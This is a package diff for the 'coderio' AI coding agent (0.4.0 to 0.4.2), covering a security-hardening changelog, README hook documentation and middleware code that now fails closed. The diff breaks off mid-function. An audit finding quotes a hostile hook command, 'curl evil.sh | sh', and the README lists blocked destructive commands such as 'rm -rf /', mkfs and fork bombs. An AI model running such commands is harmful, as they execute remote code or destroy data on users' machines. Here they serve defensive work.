coderio 0.4.0__tar.gz → 0.4.2__tar.gz

{coderio-0.4.0 → coderio-0.4.2}/CHANGELOG.md

@@ -6,6 +6,167 @@ All notable changes to coderio are documented here. The format follows
 `pyproject.toml`'s `[project].version` — `coderio.__version__` reads it via
 `importlib.metadata`.
 
+## [0.4.2] — 2026-08-18
+
+### Security — v3 audit short-term batch (#7/#8/#9/#11/#14, all runtime-verified)
+- **#7 · headless default permission full → plan**: a headless entry that
+  silently allowed everything was a zero-confirmation door. `coderio run` now
+  defaults to read-only plan; full requires the explicit
+  `--dangerously-skip-permissions` flag (Claude Code's name for the same
+  escape hatch). confirm/auto_edit fail fast without a TTY (the gate is lazy,
+  so input() would otherwise EOFError mid-execution); invalid --permission
+  values are rejected up front.
+- **#8 · project-layer skills join the trust gate**: a repo shipping ONLY
+  `.coderio/skills` previously loaded them with zero confirmation — yet skills
+  enter the system prompt and may carry tools.py that exec's on activation.
+  Skills now participate in discovery + content fingerprint (per-file hash;
+  any skill edit re-triggers the prompt), and the confirmation summary marks
+  skills carrying tools.py with "⚠ executes code". tools.py load failures are
+  logged, no longer silent.
+- **#9 · trust store hardening**: the store gets owner-only permissions
+  (POSIX 0600 / Windows icacls, reusing the credentials helper); a corrupt
+  store is left untouched instead of being reset (the old reset destroyed
+  every other repo's trust entries); `SandboxFsConfig.deny_write` now
+  defaults to `["~/.coderio"]` so sandboxed commands can't rewrite the
+  config/credentials/trust store (explicit `deny_write = []` opts out;
+  Linux bwrap only — Windows sandbox is a no-op today).
+- **#11 · research subagent execution-time enforcement**: PermissionMiddleware
+  + CommandReviewMiddleware now ride the research subagent (the tool
+  whitelist filters what the model SEES; these gate what actually RUNS).
+  Failover direction reversed: a whitelist that cannot be constructed — or
+  fails at runtime — degrades to a DENY-ALL middleware (zero tools), not to
+  the old no-middleware state that inherited every tool including
+  write/execute.
+- **#14 · headless wall-clock timeout + exit codes**: `--timeout <seconds>`
+  (thread+join; SIGALRM doesn't exist on Windows) exits 124 on expiry;
+  agent execution failures exit 2 (distinct from config errors' 1); success
+  0. Documented in README for CI use.
+
+### Fixed — hooks completion (2026-08-14 v3 audit P1/P2 items)
+- **Timeout latency (v3 P1: timeout=2 hook took 12s)**: the post-kill pipe
+  drain waited 10s for an EOF that never comes on Windows (a pre-kill
+  grandchild holds the write end) — and the drained output was never consumed
+  anyway (hardcoded empty return). Now a 1s grace then abandon: a timeout=2
+  hook returns in ~3s. Windows grandchild leak documented as a known
+  limitation (the turn is no longer hostage; root fix = CREATE_SUSPENDED +
+  pre-assigned Job + stdin pipe through _create_process_with_token). Latency
+  regression test added (`elapsed < timeout + 2`), mutation-verified.
+- **Per-event budget (v3 P1: N hooks × 60s on every tool call)**: fire() now
+  enforces a 30s total budget per event (overridable on HookRunner for
+  tests). Each hook's timeout tightens to min(spec.timeout, budget
+  remaining); exhaustion skips the remaining hooks with an error note
+  (fail-open, consistent with the module's positioning).
+- **Subagents bypassed hooks (v3 #12)**: research and general-purpose
+  subagents both carry HooksMiddleware now (outermost, same order as the main
+  agent) — task() delegation can no longer sidestep PreToolUse/PostToolUse.
+  No middleware overhead when no hooks are configured.
+- **Repo [[hooks]] silently dropped user hooks (v3 P2)**: _merge replaces
+  lists wholesale, so a repo's hooks config wiped the user's protective
+  hooks. Hooks now APPEND across layers — user hooks first (first-blocker-
+  wins: the user's deny reason is what the model sees). The first and only
+  list-merge in the loader; every other key keeps replace semantics.
+- +7 tests (latency guard, budget skip/tighten, subagent middleware stacks ×3,
+  merge order). Mutation check: reintroducing the 10s drain turns the latency
+  test red (10.1s ≥ 4s bound) — the guard actually guards.
+
+### Fixed — 2026-08-18 self-audit (3 bugs + 3 warnings, all runtime-verified)
+- **BUG A · `--permission full` had no flag gate (claim vs code mismatch)**:
+  the 0.4.1 commit message and CHANGELOG claimed "full requires
+  --dangerously-skip-permissions" — no such gate existed; `--permission full`
+  alone ran with full access (verified end-to-end by an audit agent that
+  unintentionally ran three real model turns through it). The gate is real
+  now: full without the flag exits 1. +2 tests (negative and positive sides).
+  Fourth seam-class failure in project history (v1: deepagents↔coderio; v3:
+  config↔runtime, trust↔mcp_loader; this: message↔code) — new rule in the
+  audit report: every behavior claim in a commit message must have a
+  corresponding verified command output before release.
+- **BUG B · Windows NUL bypassed the confirm-mode TTY check**: `</dev/null`
+  (the classic CI idiom) makes `sys.stdin.isatty()` return True on Windows
+  (MSVCRT treats character devices as ttys) — the check passed, then
+  `input()` read NUL, EOFError'd, and crashed the agent mid-execution.
+  confirm/auto_edit are no longer valid headless values AT ALL (rejected
+  unconditionally); the interactive TUI is the only prompting surface.
+- **BUG C · the deny_write default was dead config for most users**:
+  SandboxFsConfig's `deny_write=["~/.coderio"]` default only applied when the
+  `[tools.sandbox_filesystem]` table EXISTED — users without the table got
+  fs_config=None, and bwrap's built-in layout had no deny_write, so sandboxed
+  commands could write ~/.coderio (config/credentials/TRUST STORE). The
+  sandbox runner now constructs the default config when fs_config is None;
+  explicit user configs (including `deny_write = []`) pass through unchanged.
+- **hooks budget skip-count was dead code**: `self.specs[len(self.specs):]`
+  is always the empty slice, so the "N hook(s) skipped" message always
+  printed "remaining" — the count never appeared (and no test asserted it).
+  Fixed with enumerate-indexed slicing (verified: 4 hooks skipped →
+  "4 hook(s) skipped").
+- **trust store `null` slipped the corruption guard**: JSON `null` parsed to
+  None and bypassed the `is not None` shape check, getting overwritten. All
+  non-dict JSON (including null) now leaves the store untouched.
+- **nested typer.Exit produced a misleading second error line**: typer.Exit
+  is a RuntimeError subclass, so the session-load failure's clean exit was
+  re-caught by "Runtime setup failed" and printed twice. Nested exits now
+  pass through with their original code and message.
+
+## [0.4.1] — 2026-08-17
+
+### Added
+- **Hooks system (v1)**: user-configurable lifecycle hooks via `[[hooks]]`
+  array tables in config.toml. Five events — SessionStart (once per session,
+  resume included), UserPromptSubmit (reject or inject context), PreToolUse
+  (deny), PostToolUse (append feedback), Stop (notification-only). IO contract
+  follows the Claude Code / ZCode / Codex interop core: event JSON on stdin,
+  exit 0 = pass (stdout injects context for prompt/session events, 10k cap),
+  exit 2 = block with stderr as the reason, anything else = fail-open.
+  `$CODERIO_PROJECT_DIR` env var; Git Bash preferred on Windows; default
+  timeout 60s (timeout/crash fail-open — hooks are extensibility glue, not a
+  security boundary; hard policy stays with permissions + blacklist).
+  PreToolUse/PostToolUse ride a new HooksMiddleware inserted OUTERMOST (before
+  Harness/Permission/CommandReview) so a hook can deny before the permission
+  prompt appears and observes exactly the args the chain sees. Hooks in
+  repo-level config.toml automatically ride the existing repo-config trust
+  gate — no separate trust flow. Serial execution (first blocker's reason
+  wins; all hooks still run for their side effects). New module
+  `agent/hooks.py`. v1 non-goals documented: SessionEnd (no injection point),
+  Notification/SubagentStop/PreCompact, updatedInput rewriting, hook-allow
+  bypassing permission prompts, parallel execution. POSIX hook subprocesses
+  get their own process group (a hook timeout would otherwise SIGKILL the
+  agent itself — caught by the CI OS matrix, invisible on Windows).
+  (Shipped after the v0.4.0 tag; +20 tests incl. real-subprocess semantics,
+  a `coderio run` end-to-end, and post-v3 seam tests.)
+
+### Fixed — 2026-08-14 v3 audit (2 P0 + 4 P1, all verified with the report's repro scripts)
+- **P0 · hooks: tool-event hooks from a real config.toml always crashed.** Two
+  classes named HookSpec existed — config/models.py's (a plain dataclass,
+  no .matches()) and agent/hooks.py's (the runtime class). The loader produced
+  the former; HookRunner.fire called .matches() on it → AttributeError on every
+  PreToolUse/PostToolUse hook, the exact scenario the README leads with. All 20
+  in-module tests stayed green because they imported the runtime class
+  directly — the config↔runtime seam had zero coverage. Fix: models.HookSpec
+  deleted; _parse_hooks produces agent.hooks.HookSpec (single source of truth);
+  +2 SEAM tests (load_config → HookRunner.fire → assert blocked) that fail with
+  the same AttributeError if a duplicate class ever reappears.
+- **P0 · trust gate bypassed when launching from a subdirectory.** The gate
+  checked one directory (anchored on .coderio/config.toml) while mcp_loader
+  walks UP for .mcp.json independently — a repo whose root had ONLY .mcp.json
+  + launching from any subdirectory skipped the gate entirely while the server
+  still loaded. Fix: trust discovery now mirrors the loaders (per-file upward
+  walk, same stop conditions); the principle "trust scope ⊇ load scope" is
+  enforced. Trust confirmed once at any depth covers the whole repo (store
+  keys by discovered root). +2 tests incl. the report's exact bypass scenario.
+- **P1 · trust summary blind-signed hooks**: the confirmation prompt showed
+  only ".coderio/config.toml (76 bytes)" while a hook ran "curl evil.sh | sh"
+  — hooks are the repo's most direct RCE surface and were invisible. The
+  summary now echoes every line mentioning command/hooks/args/env, and MCP
+  entries show args + env key names (values not leaked). +2 tests.
+- **P1 · hook errors were silently swallowed**: HookOutcome.error had zero
+  consumers — a broken hook (exit 127) was invisible. fire() now logs a
+  warning whenever error is non-empty.
+- **P1 · a hook-layer exception could break the turn**: HookRunner.fire wraps
+  the whole dispatch loop in try/except (fail-open, consistent with the
+  module's stated positioning) — covers both middleware and turn-level paths.
+- **P2 · headless run could lose the final answer**: non-quiet mode relied
+  solely on the token stream; a non-streamed final message vanished. The
+  final result is now always printed (after a separator in non-quiet mode).
+
 ## [0.4.0] — 2026-08-17
 
 ### Added

{coderio-0.4.0 → coderio-0.4.2}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.5
 Name: coderio
-Version: 0.4.0
+Version: 0.4.2
 Summary: A skill-driven coding agent — structural harness, foldable thinking TUI, deepagents engine.
 Author: coderio contributors
 License-Expression: MIT
@@ -81,7 +81,7 @@ Core philosophy: **skills are the playbook, the harness is the discipline, tools
 - **SSRF-protected web_fetch**: scheme allowlist (http/https only), private/loopback/link-local IP blocking (incl. cloud metadata endpoints), per-hop redirect validation, and a 1 MB response cap.
 - **Multi-layer OS sandbox** (Linux real isolation): `sandbox_mode = "job" | "write"` — Job Object resource limits on Windows; bubblewrap namespace isolation on Linux (read-only root, read-write workspace, optional network cutoff, Claude-Code-compatible filesystem 4-tuple `allow_write`/`deny_write`/`deny_read`/`allow_read`).
 - **MCP support**: connect external MCP servers via `.mcp.json` (Claude Code-compatible format); stdio and HTTP transports; project-level config overrides user-level. `coderio mcp` CLI manages entries; MCP tools are gated by the permission system like built-in tools.
-- **Repo-config trust confirmation**: first time a repository's `.coderio/config.toml` or `.mcp.json` is seen, coderio shows what it contains (permission mode, base_url, MCP commands) and requires explicit confirmation — content-hashed, so upstream edits re-trigger the prompt. Cloning a hostile repo no longer means silent arbitrary code execution.
+- **Repo-config trust confirmation**: first time a repository's `.coderio/config.toml`, `.mcp.json`, **or project-layer skills** (with tools.py markers) is seen, coderio shows what it contains (permission mode, base_url, hook/MCP commands) and requires explicit confirmation — content-hashed, so upstream edits re-trigger the prompt. Cloning a hostile repo no longer means silent arbitrary code execution.
 - **Multiple providers + named profiles**: Zhipu GLM / StepFun coding plans (Anthropic protocol) + OpenAI-compatible endpoints; multiple profiles with runtime `/profile` switching.
 - **Headless mode**: `coderio run "task"` for one-shot, non-interactive runs (CI, scripting, benchmark harnesses).
 
@@ -283,6 +283,47 @@ Paths support `~` (home), `./` or bare (workspace-relative), `/abs` (absolute).
 - Whitelist degradation: in CONFIRM/AUTO_EDIT modes, commands outside the whitelist **run but carry a `[whitelist]` annotation** in the result (so the model/user knows the command is outside the trusted set); PLAN hard-rejects; FULL allows silently.
 - For **fully untrusted code**, use a VM (Windows Sandbox / Docker) — do not rely on this sandbox.
 
+**Hooks** (user lifecycle hooks, v1):
+
+Register shell commands in config.toml via `[[hooks]]` array tables, fired at fixed points of the agent lifecycle. The config/IO contract follows the Claude Code / ZCode / Codex interop core — existing hook scripts port over as-is:
+
+```toml
+# Protect sensitive files: block writes to .env
+[[hooks]]
+event = "PreToolUse"                    # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
+matcher = "write_file|edit_file"       # regex on tool name (tool events only); empty = all
+command = "python .hooks/protect.py"   # receives the event JSON on stdin; exit 2 = block
+timeout = 30                           # seconds, default 60
+
+# Auto-format after every file write
+[[hooks]]
+event = "PostToolUse"
+matcher = "write_file|edit_file"
+command = "jq -r .tool_input.file_path | xargs prettier --write"
+
+# Inject project conventions at session start
+[[hooks]]
+event = "SessionStart"
+command = "cat .hooks/conventions.txt"
+```
+
+**IO contract**:
+- **stdin**: one JSON object — common fields `session_id`/`cwd`/`permission_mode`/`hook_event_name` + event-specific ones (PreToolUse carries `tool_name`+`tool_input`; UserPromptSubmit carries `prompt`; PostToolUse carries `tool_response`)
+- **exit codes**: `0` = pass (UserPromptSubmit/SessionStart stdout injects context, 10k-char cap); `2` = **BLOCK** (stderr becomes the reason fed to the model); anything else = **fail-open** pass + warning
+- **environment**: `$CODERIO_PROJECT_DIR` always set; Git Bash preferred on Windows
+
+**Honest positioning**: hooks are an EXTENSIBILITY point, not a security boundary — timeout/crash/non-2 exits all fail-open (a broken hook must never brick the agent loop). Hard policy belongs to the permission gate + command blacklist. Repo-level hooks live in config.toml and ride the existing repo-config trust gate (cloning a hostile repo does not silently run its hooks).
+
+**Execution semantics**:
+- **Timeouts**: 60s per hook by default (`timeout` configurable); **30s per-event total budget** — when all matching hooks together exceed it, the rest are skipped (fail-open); one slow hook can't eat the whole turn
+- **Serial execution**: multiple hooks run in config order; the first blocker's reason wins, but every hook still runs (side effects preserved)
+- **Environment inheritance**: hooks inherit the full environment (including API keys) — only configure hook commands you trust
+- **Subagents are covered too**: research / general-purpose subagents both carry HooksMiddleware — `task()` delegation cannot bypass PreToolUse
+- **Merge semantics**: user-level `[[hooks]]` + project-level `[[hooks]]` **append** (user first — under first-blocker-wins, the user's protective hook's reason takes priority); a repo's config never drops the user's protections
+- Windows grandchild leak on timeout is a known limitation (the turn is no longer hostage; the root fix awaits the CREATE_SUSPENDED approach)
+
+**v1 event set and non-goals**: SessionStart (once per session, resume included) / UserPromptSubmit (reject or inject) / PreToolUse (deny) / PostToolUse (append feedback) / Stop (notification-only — never fights the harness force-continue). Not in v1: SessionEnd (no injection point), Notification/SubagentStop/PreCompact, `updatedInput` rewriting, hook-allow skipping the permission prompt.
+
 Supported providers:
 | provider_id | Description | Protocol |
 |---|---|---|
@@ -310,9 +351,13 @@ coderio
 coderio --provider bigmodel_coding_plan --model glm-5.2
 
 # Headless one-shot run (CI / scripting / benchmarks)
-coderio run "write a hello-world script and test it"
-coderio run "fix the failing test in tests/foo.py" --quiet        # final result only
+coderio run "write a hello-world script and test it"              # default: plan (read-only)
+coderio run "fix the failing test in tests/foo.py" --quiet         # final result only
 coderio run "continue" --session-id <id>                           # resume a session
+coderio run "run any command" --dangerously-skip-permissions       # full access (explicit opt-in)
+coderio run "task" --timeout 600                                   # wall-clock timeout (recommended for CI)
+
+# headless exit codes: 0 success / 1 config error / 2 agent failure / 124 timeout
 
 # Manage skills (install pulls from GitHub; needs git on PATH)
 coderio skills list

{coderio-0.4.0 → coderio-0.4.2}/README.md

@@ -36,7 +36,7 @@
 - **命令审查层**：shell（execute）命令不受 virtual_mode 约束，所以额外加了一层 `CommandReviewMiddleware`——内置黑名单挡住 `rm -rf /`、`mkfs`、fork bomb、`dd of=/dev/`、shutdown 等破坏性命令（即使 FULL 模式也挡），用户可在 config.toml 追加 `blocked_commands`。这不是真 OS 沙箱（混淆命令可绕过正则），但能挡住绝大多数意外破坏。`network_allowed = false` 可完全禁用 web 工具（离线模式）
 - **多 provider + 命名 profile**：智谱 GLM / 阶跃 StepFun 的 coding plan（Anthropic 协议）+ OpenAI 兼容；支持多套配置 profile，`/profile` 运行时切换
 - **MCP 支持**：通过 `.mcp.json`（与 Claude Code 格式兼容）接入外部 MCP 服务器，自动加载它们的工具。支持 stdio（本地进程）和 HTTP（远程）两种传输。项目级 `.mcp.json` 覆盖用户级同名服务器
-- **仓库配置信任确认**：首次在某仓库检测到 `.coderio/config.toml` 或 `.mcp.json` 时，展示其内容（权限模式、base_url、MCP 命令）并要求显式确认——按内容 hash 记忆，上游改配置会重新触发确认。克隆恶意仓库不再等于静默任意代码执行
+- **仓库配置信任确认**：首次在某仓库检测到 `.coderio/config.toml`、`.mcp.json` **或项目级 skills**（含 tools.py 标注）时，展示其内容（权限模式、base_url、hook/MCP 命令）并要求显式确认——按内容 hash 记忆，上游改配置会重新触发确认。克隆恶意仓库不再等于静默任意代码执行
 - **web_fetch SSRF 防护**：scheme 白名单（仅 http/https）+ 私网/环回/链路本地 IP 拦截（含云元数据端点）+ 逐跳重定向校验 + 1MB 响应上限
 - **headless 模式**：`coderio run "任务"` 单次无交互运行（CI / 脚本 / benchmark 接入）
 
@@ -238,6 +238,47 @@ deny_write = [".git/hooks"]  # workspace 内也强制只读
 - 白名单降级：CONFIRM/AUTO_EDIT 模式下白名单外的命令**会执行但 result 里会带 `[whitelist]` 标注**（让模型/用户知道该命令不在受信集合里）；PLAN 模式硬拒；FULL 模式放行不标注。
 - 对于**完全不可信的代码**，仍建议用 VM（Windows Sandbox / Docker），不依赖本沙箱。
 
+**Hooks**（用户自定义生命周期钩子，v1）：
+
+在 config.toml 里用 `[[hooks]]` 数组表注册 shell 命令，在 agent 生命周期的固定点位执行。配置/IO 契约对齐 Claude Code / ZCode / Codex 的互操作核心，已有 hook 脚本可直接移植：
+
+```toml
+# 敏感文件保护：写 .env 前拦截
+[[hooks]]
+event = "PreToolUse"                    # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
+matcher = "write_file|edit_file"       # 正则匹配工具名（仅工具事件）；空 = 全部
+command = "python .hooks/protect.py"   # stdin 收 JSON 事件；exit 2 = 阻断
+timeout = 30                           # 秒，默认 60
+
+# 每次写文件后自动格式化
+[[hooks]]
+event = "PostToolUse"
+matcher = "write_file|edit_file"
+command = "jq -r .tool_input.file_path | xargs prettier --write"
+
+# 会话开始注入项目约定
+[[hooks]]
+event = "SessionStart"
+command = "cat .hooks/conventions.txt"
+```
+
+**IO 契约**：
+- **stdin**：一行 JSON——公共字段 `session_id`/`cwd`/`permission_mode`/`hook_event_name` + 事件专属（PreToolUse 带 `tool_name`+`tool_input`；UserPromptSubmit 带 `prompt`；PostToolUse 带 `tool_response`）
+- **exit code**：`0` = 放行（UserPromptSubmit/SessionStart 的 stdout 注入上下文，上限 10k 字符）；`2` = **阻断**（stderr 作为理由喂给模型）；其他 = **fail-open** 放行 + 警告
+- **环境变量**：`$CODERIO_PROJECT_DIR` 恒可用；Windows 优先 Git Bash
+
+**诚实定位**：hooks 是**扩展点不是安全边界**——超时/崩溃/非 2 退出码都 fail-open（一个坏 hook 绝不能搞死 agent loop）。硬策略请用权限审批 + 命令黑名单。项目级 hooks 写在 config.toml 里，自动被仓库信任门覆盖（克隆恶意仓库不会静默执行其 hooks）。
+
+**执行语义**：
+- **超时**：每个 hook 默认 60s（`timeout` 可配）；**单事件总预算 30s**——同事件所有 hook 合计超预算后，剩余 hook 跳过（fail-open），一个慢 hook 吃不光整个 turn
+- **串行执行**：多 hook 按配置顺序串行，第一个 blocker 的理由生效，但所有 hook 都会执行（副作用保留）
+- **环境继承**：hook 继承完整环境变量（含 API key）——只配置你信任的 hook 命令
+- **子 agent 同样受约束**：research / general-purpose 子 agent 都挂 HooksMiddleware，`task()` 委派无法绕过 PreToolUse
+- **合并语义**：用户级 `[[hooks]]` + 项目级 `[[hooks]]` **追加合并**（用户在前——首个 blocker 的优先理由来自用户的防护 hook），项目配置不会剔除用户防护
+- Windows 孙进程泄漏为已知 limitation（超时后 turn 不受挟持；根治待 CREATE_SUSPENDED 方案）
+
+**v1 事件集与不做的事**：SessionStart（每 session 一次，含 resume）/ UserPromptSubmit（可拒绝可注入）/ PreToolUse（可 deny）/ PostToolUse（追加反馈）/ Stop（通知型，不与 harness 续跑冲突）。不做：SessionEnd（无注入点）、Notification/SubagentStop/PreCompact、`updatedInput` 参数改写、hook allow 跳过权限弹窗。
+
 支持的 provider：
 | provider_id | 说明 | 协议 |
 |---|---|---|
@@ -265,9 +306,13 @@ coderio
 coderio --provider bigmodel_coding_plan --model glm-5.2
 
 # headless 单次运行（CI / 脚本 / benchmark 接入）
-coderio run "写一个 hello-world 脚本并测试"
-coderio run "修复 tests/foo.py 里失败的测试" --quiet        # 只输出最终结果
-coderio run "继续" --session-id <id>                        # 续跑会话
+coderio run "写一个 hello-world 脚本并测试"                     # 默认 plan（只读）
+coderio run "修复 tests/foo.py 里失败的测试" --quiet            # 只输出最终结果
+coderio run "继续" --session-id <id>                            # 续跑会话
+coderio run "跑任意命令" --dangerously-skip-permissions         # full 权限（显式选择加入）
+coderio run "任务" --timeout 600                                # 墙钟超时（CI 建议）
+
+# headless 退出码：0 成功 / 1 配置错误 / 2 agent 执行失败 / 124 超时
 
 # 管理 skill（install 从 GitHub 拉取，需要 git 在 PATH）
 coderio skills list

{coderio-0.4.0 → coderio-0.4.2}/README_en.md

@@ -36,7 +36,7 @@ Core philosophy: **skills are the playbook, the harness is the discipline, tools
 - **SSRF-protected web_fetch**: scheme allowlist (http/https only), private/loopback/link-local IP blocking (incl. cloud metadata endpoints), per-hop redirect validation, and a 1 MB response cap.
 - **Multi-layer OS sandbox** (Linux real isolation): `sandbox_mode = "job" | "write"` — Job Object resource limits on Windows; bubblewrap namespace isolation on Linux (read-only root, read-write workspace, optional network cutoff, Claude-Code-compatible filesystem 4-tuple `allow_write`/`deny_write`/`deny_read`/`allow_read`).
 - **MCP support**: connect external MCP servers via `.mcp.json` (Claude Code-compatible format); stdio and HTTP transports; project-level config overrides user-level. `coderio mcp` CLI manages entries; MCP tools are gated by the permission system like built-in tools.
-- **Repo-config trust confirmation**: first time a repository's `.coderio/config.toml` or `.mcp.json` is seen, coderio shows what it contains (permission mode, base_url, MCP commands) and requires explicit confirmation — content-hashed, so upstream edits re-trigger the prompt. Cloning a hostile repo no longer means silent arbitrary code execution.
+- **Repo-config trust confirmation**: first time a repository's `.coderio/config.toml`, `.mcp.json`, **or project-layer skills** (with tools.py markers) is seen, coderio shows what it contains (permission mode, base_url, hook/MCP commands) and requires explicit confirmation — content-hashed, so upstream edits re-trigger the prompt. Cloning a hostile repo no longer means silent arbitrary code execution.
 - **Multiple providers + named profiles**: Zhipu GLM / StepFun coding plans (Anthropic protocol) + OpenAI-compatible endpoints; multiple profiles with runtime `/profile` switching.
 - **Headless mode**: `coderio run "task"` for one-shot, non-interactive runs (CI, scripting, benchmark harnesses).
 
@@ -238,6 +238,47 @@ Paths support `~` (home), `./` or bare (workspace-relative), `/abs` (absolute).
 - Whitelist degradation: in CONFIRM/AUTO_EDIT modes, commands outside the whitelist **run but carry a `[whitelist]` annotation** in the result (so the model/user knows the command is outside the trusted set); PLAN hard-rejects; FULL allows silently.
 - For **fully untrusted code**, use a VM (Windows Sandbox / Docker) — do not rely on this sandbox.
 
+**Hooks** (user lifecycle hooks, v1):
+
+Register shell commands in config.toml via `[[hooks]]` array tables, fired at fixed points of the agent lifecycle. The config/IO contract follows the Claude Code / ZCode / Codex interop core — existing hook scripts port over as-is:
+
+```toml
+# Protect sensitive files: block writes to .env
+[[hooks]]
+event = "PreToolUse"                    # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
+matcher = "write_file|edit_file"       # regex on tool name (tool events only); empty = all
+command = "python .hooks/protect.py"   # receives the event JSON on stdin; exit 2 = block
+timeout = 30                           # seconds, default 60
+
+# Auto-format after every file write
+[[hooks]]
+event = "PostToolUse"
+matcher = "write_file|edit_file"
+command = "jq -r .tool_input.file_path | xargs prettier --write"
+
+# Inject project conventions at session start
+[[hooks]]
+event = "SessionStart"
+command = "cat .hooks/conventions.txt"
+```
+
+**IO contract**:
+- **stdin**: one JSON object — common fields `session_id`/`cwd`/`permission_mode`/`hook_event_name` + event-specific ones (PreToolUse carries `tool_name`+`tool_input`; UserPromptSubmit carries `prompt`; PostToolUse carries `tool_response`)
+- **exit codes**: `0` = pass (UserPromptSubmit/SessionStart stdout injects context, 10k-char cap); `2` = **BLOCK** (stderr becomes the reason fed to the model); anything else = **fail-open** pass + warning
+- **environment**: `$CODERIO_PROJECT_DIR` always set; Git Bash preferred on Windows
+
+**Honest positioning**: hooks are an EXTENSIBILITY point, not a security boundary — timeout/crash/non-2 exits all fail-open (a broken hook must never brick the agent loop). Hard policy belongs to the permission gate + command blacklist. Repo-level hooks live in config.toml and ride the existing repo-config trust gate (cloning a hostile repo does not silently run its hooks).
+
+**Execution semantics**:
+- **Timeouts**: 60s per hook by default (`timeout` configurable); **30s per-event total budget** — when all matching hooks together exceed it, the rest are skipped (fail-open); one slow hook can't eat the whole turn
+- **Serial execution**: multiple hooks run in config order; the first blocker's reason wins, but every hook still runs (side effects preserved)
+- **Environment inheritance**: hooks inherit the full environment (including API keys) — only configure hook commands you trust
+- **Subagents are covered too**: research / general-purpose subagents both carry HooksMiddleware — `task()` delegation cannot bypass PreToolUse
+- **Merge semantics**: user-level `[[hooks]]` + project-level `[[hooks]]` **append** (user first — under first-blocker-wins, the user's protective hook's reason takes priority); a repo's config never drops the user's protections
+- Windows grandchild leak on timeout is a known limitation (the turn is no longer hostage; the root fix awaits the CREATE_SUSPENDED approach)
+
+**v1 event set and non-goals**: SessionStart (once per session, resume included) / UserPromptSubmit (reject or inject) / PreToolUse (deny) / PostToolUse (append feedback) / Stop (notification-only — never fights the harness force-continue). Not in v1: SessionEnd (no injection point), Notification/SubagentStop/PreCompact, `updatedInput` rewriting, hook-allow skipping the permission prompt.
+
 Supported providers:
 | provider_id | Description | Protocol |
 |---|---|---|
@@ -265,9 +306,13 @@ coderio
 coderio --provider bigmodel_coding_plan --model glm-5.2
 
 # Headless one-shot run (CI / scripting / benchmarks)
-coderio run "write a hello-world script and test it"
-coderio run "fix the failing test in tests/foo.py" --quiet        # final result only
+coderio run "write a hello-world script and test it"              # default: plan (read-only)
+coderio run "fix the failing test in tests/foo.py" --quiet         # final result only
 coderio run "continue" --session-id <id>                           # resume a session
+coderio run "run any command" --dangerously-skip-permissions       # full access (explicit opt-in)
+coderio run "task" --timeout 600                                   # wall-clock timeout (recommended for CI)
+
+# headless exit codes: 0 success / 1 config error / 2 agent failure / 124 timeout
 
 # Manage skills (install pulls from GitHub; needs git on PATH)
 coderio skills list

{coderio-0.4.0 → coderio-0.4.2}/pyproject.toml

@@ -5,7 +5,7 @@ build-backend = "hatchling.build"
 
 [project]
 name = "coderio"
-version = "0.4.0"
+version = "0.4.2"
 description = "A skill-driven coding agent — structural harness, foldable thinking TUI, deepagents engine."
 readme = "README_en.md"
 license = "MIT"
@@ -166,6 +166,10 @@ select = ["E", "F", "W", "I", "S"]
 # S603 — the LocalShellBackend override runs model-generated bash commands;
 # executing them IS the tool's purpose (same rationale as tools/bash.py).
 "src/coderio/agent/deep_loop.py" = ["S602", "S603"]
+# Hooks: S603 — hook commands come from the user's TOML config (trusted
+# project settings, like skills_cmd.py's git clone), not arbitrary model
+# input. Executing them IS the hooks feature's purpose.
+"src/coderio/agent/hooks.py" = ["S603"]
 # Sandbox modules: S602/S603 — running arbitrary subprocess commands IS the
 # sandbox's entire purpose. The sandbox itself (bubblewrap namespace isolation
 # on Linux, Restricted Token + Job Object on Windows) is the security boundary,

{coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/_deepagents_compat.py

@@ -97,22 +97,48 @@ class _ToolWhitelistMiddleware(AgentMiddleware):
 
     Wraps the same ModelRequest.override + filter mechanism as
     ``_ToolExclusionMiddleware`` but inverts the predicate.
+
+    Runtime failures degrade to an EMPTY tool set (deny-all), never to the
+    unfiltered original — a broken research subagent is preferable to a
+    research subagent that can suddenly see write/execute tools (v3 audit #11
+    reversed the old fail-open direction).
     """
 
     def __init__(self, *, allowed: frozenset[str]) -> None:
         self._allowed = allowed
 
     def wrap_model_call(self, request, handler):
-        if self._allowed:
+        try:
             filtered = [t for t in request.tools if _tool_name(t) in self._allowed]
-            request = request.override(tools=filtered)
-        return handler(request)
+            return handler(request.override(tools=filtered))
+        except Exception as e:  # noqa: BLE001 — degrade to deny-all, never fail-open
+            _log.warning("tool whitelist failed at runtime (degrading to NO tools): %s", e)
+            return handler(request.override(tools=[]))
 
     async def awrap_model_call(self, request, handler):
-        if self._allowed:
+        try:
             filtered = [t for t in request.tools if _tool_name(t) in self._allowed]
-            request = request.override(tools=filtered)
-        return await handler(request)
+            return await handler(request.override(tools=filtered))
+        except Exception as e:  # noqa: BLE001 — degrade to deny-all, never fail-open
+            _log.warning("tool whitelist failed at runtime (degrading to NO tools): %s", e)
+            return await handler(request.override(tools=[]))
+
+
+class _DenyAllToolsMiddleware(AgentMiddleware):
+    """Last-resort middleware: the model sees ZERO tools.
+
+    Returned when the whitelist middleware itself cannot be constructed — the
+    research subagent becomes useless but stays harmless (v3 audit #11: the
+    old fallback was an EMPTY middleware list, i.e. the subagent inherited
+    EVERY tool including write/execute — fail-open in the most dangerous
+    direction).
+    """
+
+    def wrap_model_call(self, request, handler):
+        return handler(request.override(tools=[]))
+
+    async def awrap_model_call(self, request, handler):
+        return await handler(request.override(tools=[]))
 
 
 def make_research_subagent_middleware():
@@ -126,8 +152,8 @@ def make_research_subagent_middleware():
 
     Returns a list with a _ToolWhitelistMiddleware. If the deepagents
     AgentMiddleware base class API is unavailable (very old or very new
-    version), returns an empty list — the subagent will inherit all tools
-    (less safe, but won't crash).
+    version), falls back to _DenyAllToolsMiddleware — the subagent sees no
+    tools rather than all of them (fail-closed; v3 audit #11).
     """
     # Read-only tools the research subagent is allowed to use. Add new tools
     # here ONLY after confirming they're safe for a read-only agent.
@@ -135,5 +161,8 @@ def make_research_subagent_middleware():
     try:
         return [_ToolWhitelistMiddleware(allowed=allowed)]
     except Exception as e:  # noqa: BLE001 — AgentMiddleware API may differ
-        _log.warning("Could not build _ToolWhitelistMiddleware: %s", e)
-        return []
+        _log.warning("Could not build _ToolWhitelistMiddleware (deny-all fallback): %s", e)
+        try:
